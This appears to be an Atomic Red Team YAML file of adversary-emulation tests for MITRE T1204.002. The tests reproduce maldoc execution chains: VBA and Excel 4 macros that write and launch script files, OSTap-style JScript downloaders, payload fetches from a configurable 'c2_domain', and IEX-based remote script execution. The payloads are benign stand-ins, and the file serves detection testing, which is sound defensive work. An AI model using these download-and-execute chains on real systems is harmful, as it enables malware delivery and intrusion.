attack_technique: T1204.002
display_name: 'User Execution: Malicious File'
atomic_tests:
- name: OSTap Style Macro Execution
  auto_generated_guid: 8bebc690-18c7-4549-bc98-210f7019efff
  description: |
    This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.
    Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
    This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.
    References:
      https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader
  supported_platforms:
  - windows
  input_arguments:
    jse_path:
      description: |
        Path for the macro to write out the "malicious" .jse file
      type: String
      default: C:\Users\Public\art.jse
    ms_product:
      description: Maldoc application Word or Excel
      type: String
      default: Word
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft #{ms_product} must be installed
    prereq_command: |
      try {
        New-Object -COMObject "#{ms_product}.Application" | Out-Null
        $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
        Stop-Process -Name $process
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"cscript.exe #{jse_path}`"`n"
      Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
    cleanup_command: |
      Remove-Item #{jse_path} -ErrorAction Ignore
    name: powershell
- name: OSTap Payload Download
  auto_generated_guid: 3f3af983-118a-4fa1-85d3-ba4daa739d80
  description: |
    Uses cscript //E:jscript to download a file
  supported_platforms:
  - windows
  input_arguments:
    script_file:
      description: File to execute jscript code from
      type: Path
      default: '%TEMP%\OSTapGet.js'
    file_url:
      description: URL to retrieve file from
      type: Url
      default: https://128.30.52.100/TR/PNG/iso_8859-1.txt
  executor:
    command: |
      echo var url = "#{file_url}", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile(filename, 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}
      cscript //E:Jscript #{script_file}
    cleanup_command: |
      del #{script_file} /F /Q >nul 2>&1
    name: command_prompt
- name: Maldoc choice flags command execution
  auto_generated_guid: 0330a5d2-a45a-4272-a9ee-e364411c4b18
  description: |
    This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.
    Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
  supported_platforms:
  - windows
  input_arguments:
    ms_product:
      description: Maldoc application Word or Excel
      type: String
      default: Word
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft #{ms_product} must be installed
    prereq_command: |
      try {
        New-Object -COMObject "#{ms_product}.Application" | Out-Null
        $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
        Stop-Process -Name $process
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      $macrocode = "  a = Shell(`"cmd.exe /c choice /C Y /N /D Y /T 3`", vbNormalFocus)"
      Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
    name: powershell
- name: OSTAP JS version
  auto_generated_guid: add560ef-20d6-4011-a937-2c340f930911
  description: |
    Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript
    Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
  supported_platforms:
  - windows
  input_arguments:
    jse_path:
      description: jse file to execute with wscript
      type: Path
      default: C:\Users\Public\art.jse
    ms_product:
      description: Maldoc application Word or Excel
      type: String
      default: Word
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft #{ms_product} must be installed
    prereq_command: |
      try {
        New-Object -COMObject "#{ms_product}.Application" | Out-Null
        $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
        Stop-Process -Name $process
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   a = Shell(`"cmd.exe /c wscript.exe //E:jscript #{jse_path}`", vbNormalFocus)`n"
      Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
    name: powershell
    
- name: Office launching .bat file from AppData
  auto_generated_guid: 9215ea92-1ded-41b7-9cd6-79f9a78397aa
  description: Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.
  supported_platforms:
  - windows
  input_arguments:
    bat_path:
      description: Path to malicious .bat file
      type: String
      default: $("$env:temp\art1204.bat")
    ms_product:
      description: Maldoc application Word or Excel
      type: String
      default: Word
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft #{ms_product} must be installed
    prereq_command: |
      try {
        New-Object -COMObject "#{ms_product}.Application" | Out-Null
        $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
        Stop-Process -Name $process
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      $macrocode = "   Open `"#{bat_path}`" For Output As #1`n   Write #1, `"calc.exe`"`n   Close #1`n   a = Shell(`"cmd.exe /c $bat_path `", vbNormalFocus)`n"
      Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
    name: powershell
- name: Excel 4 Macro
  auto_generated_guid: 4ea1fc97-8a46-4b4e-ba48-af43d2a98052
  description: |
    This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a "malicious"
    VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.

    A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If
    you'd like to utilize the "=GET.WORKSPACE(26)" method, that many maldoc authors use, you will need to ensure that the User Name associated
    with Excel matches that of the local system. This username can be found under Files -> Options -> Username
  supported_platforms:
  - windows
  input_arguments:
    download_url:
      description: Download URL
      type: String
      default: "https://live.sysinternals.com/procexp.exe"
    uname:
      description: Username for pathing
      type: String
      default: $env:Username
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft Excel must be installed
    prereq_command: |
      try {
        New-Object -COMObject "Excel.Application" | Out-Null
        Stop-Process -Name "Excel"
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft Excel manually to meet this requirement"
  executor:
    command: |
      $fname = "$env:TEMP\atomic_redteam_x4m_exec.vbs"
      $fname1 = "$env:TEMP\procexp.exe"
      if (Test-Path $fname) {
        Remove-Item $fname
        Remove-Item $fname1
      }

      $xlApp = New-Object -COMObject "Excel.Application"
      $xlApp.Visible = $True
      $xlApp.DisplayAlerts = $False
      $xlBook = $xlApp.Workbooks.Add()
      $sheet = $xlBook.Excel4MacroSheets.Add()

      if ("#{uname}" -ne "") {
        $sheet.Cells.Item(1,1) = "#{uname}"
      } else {
        $sheet.Cells.Item(1,1) = "=GET.WORKSPACE(26)"
      }

      $sheet.Cells.Item(2,1) = "procexp.exe"
      $sheet.Cells.Item(3,1) = "atomic_redteam_x4m_exec.vbs"
      $sheet.Cells.Item(4,1) = "=IF(ISNUMBER(SEARCH(`"64`",GET.WORKSPACE(1))), GOTO(A5),)"
      $sheet.Cells.Item(5,1) = "=FOPEN(`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`", 3)"
      $sheet.Cells.Item(6,1) = "=FWRITELN(A5, `"url = `"`"#{download_url}`"`"`")"
      $sheet.Cells.Item(7,1) = "=FWRITELN(A5, `"`")"
      $sheet.Cells.Item(8,1) = "=FWRITELN(A5, `"Set winHttp = CreateObject(`"`"WinHTTP.WinHTTPrequest.5.1`"`")`")"
      $sheet.Cells.Item(9,1) = "=FWRITELN(A5, `"winHttp.Open `"`"GET`"`", url, False`")"
      $sheet.Cells.Item(10,1) = "=FWRITELN(A5, `"winHttp.Send`")"
      $sheet.Cells.Item(11,1) = "=FWRITELN(A5, `"If winHttp.Status = 200 Then`")"
      $sheet.Cells.Item(12,1) = "=FWRITELN(A5, `"Set oStream = CreateObject(`"`"ADODB.Stream`"`")`")"
      $sheet.Cells.Item(13,1) = "=FWRITELN(A5, `"oStream.Open`")"
      $sheet.Cells.Item(14,1) = "=FWRITELN(A5, `"oStream.Type = 1`")"
      $sheet.Cells.Item(15,1) = "=FWRITELN(A5, `"oStream.Write winHttp.responseBody`")"
      $sheet.Cells.Item(16,1) = "=FWRITELN(A5, `"oStream.SaveToFile `"`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`"`", 2`")"
      $sheet.Cells.Item(17,1) = "=FWRITELN(A5, `"oStream.Close`")"
      $sheet.Cells.Item(18,1) = "=FWRITELN(A5, `"End If`")"
      $sheet.Cells.Item(19,1) = "=FCLOSE(A5)"
      $sheet.Cells.Item(20,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`")"
      $sheet.Cells.Item(21,1) = "=WAIT(NOW()+`"00:00:05`")"
      $sheet.Cells.Item(22,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`")"
      $sheet.Cells.Item(23,1) = "=HALT()"
      $sheet.Cells.Item(1,1).Name = "runme"
      $xlApp.Run("runme")
      $xlApp.Quit()

      [System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null
      [System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null
      [System.GC]::Collect()
      [System.GC]::WaitForPendingFinalizers()

      Remove-Variable xlBook
      Remove-Variable xlApp
    cleanup_command: |
      Stop-Process -Name "procexp*" -ErrorAction Ignore
      Remove-Item "$env:TEMP\atomic_redteam_x4m_exec.vbs" -ErrorAction Ignore
      Remove-Item "$env:TEMP\procexp.exe" -ErrorAction Ignore
    name: powershell
- name: Headless Chrome code execution via VBA
  auto_generated_guid: a19ee671-ed98-4e9d-b19c-d1954a51585a
  description: |
    This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local
    webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver
    and pull down the script and execute it. By default the payload will execute calc.exe on the system.
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft Word must be installed
    prereq_command: |
      try {
        $wdApp = New-Object -COMObject "Word.Application"
        Stop-Process -Name "winword"
        exit 0 } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft Word manually to meet this requirement"
  - description: |
      Google Chrome must be installed
    prereq_command: |
      try {
        $chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe').'(Default)').VersionInfo.FileName
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Google Chrome manually to meet this requirement"
  executor:
    command: |
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
        IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
        Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt" -officeProduct "Word" -sub "ExecChrome"
    name: powershell
    cleanup_command: |
      Stop-Process -name mshta
- name: Potentially Unwanted Applications (PUA)
  auto_generated_guid: 02f35d62-9fdc-4a97-b899-a5d9a876d295
  description: |
    The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify anti-pua protection).
  supported_platforms:
          - windows
  input_arguments:
    pua_url:
      description: url to PotentiallyUnwanted.exe
      type: Url
      default: "http://amtso.eicar.org/PotentiallyUnwanted.exe"
    pua_file:
      description: path to PotentiallyUnwanted.exe
      type: Path
      default: "$env:TEMP/PotentiallyUnwanted.exe"
  executor:
    name: powershell
    elevation_required: false
    command: |
      Invoke-WebRequest #{pua_url} -OutFile #{pua_file}
      & "#{pua_file}"
    cleanup_command: |
      Stop-Process -name PotentiallyUnwanted
      Remove-Item #{pua_file} -ErrorAction Ignore
- name: Office Generic Payload Download
  auto_generated_guid: 5202ee05-c420-4148-bf5e-fd7f7d24850c
  description: |
    This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.
    Required input agruments are c2_domain and file_name
    Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
    Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder
    Example input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt
  supported_platforms:
    - windows
  input_arguments:
    macro_path:
      description: |
        Location of file which will be converted to a VBA macro
      type: Path
      default: PathToAtomicsFolder/T1204.002/src/test9-GenericPayloadDownload.txt
    c2_domain:
      description: |
        This required variable points to a user defined HTTP server that will host the file_name in the c2_parent_directory.
      type: Url
      default: null
    c2_parent_directory:
      description: |
        Parent directory where you have the "malicious" file on c2_domain server.
        Will default to root directory. Forward slashes are not needed at begining or ending of directory path
      type: Path
      default: ""
    file_name:
      description: |
        "Malicious" file to be downloaded.
        This required file needs to be place on the user provided c2 domain
        Example file can be found at PathToAtomicsFolder/T1204.002/src/test9-example-payload.txt
      type: String
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/test9-example-payload.txt
    ms_product:
      description: |
        Maldoc application Word or Excel
      type: String
      default: Word
  dependency_executor_name: powershell
  dependencies:
    - description: |
        Destination c2_domain name or IP address must be set to a running HTTP server.
      prereq_command: |
        if (#{c2_domain}) (exit 0) else (exit 1)
      get_prereq_command: |
        Write-Host "Destination c2 server domain name or IP address must be set and reachable for HTTP service"
    - description: |
        Microsoftt #{ms_product} must be installed
      prereq_command: |
        try {
          New-Object -COMObject "#{ms_product}.Application" | Out-Null
          $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
          Stop-Process -Name $process
          exit 0
        } catch { exit 1 }
      get_prereq_command: |
        Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
  executor:
    name: powershell
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      $macroCode = Get-Content "#{macro_path}" -Raw
      $URL = "#{c2_domain}" + "/" + "#{c2_parent_directory}"
      $macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', "#{file_name}"
      Invoke-MalDoc -macroCode $macroCode -officeProduct "#{ms_product}"
    cleanup_command: |
      Remove-Item "C:\Users\$env:username\Desktop\#{file_name}" -ErrorAction Ignore
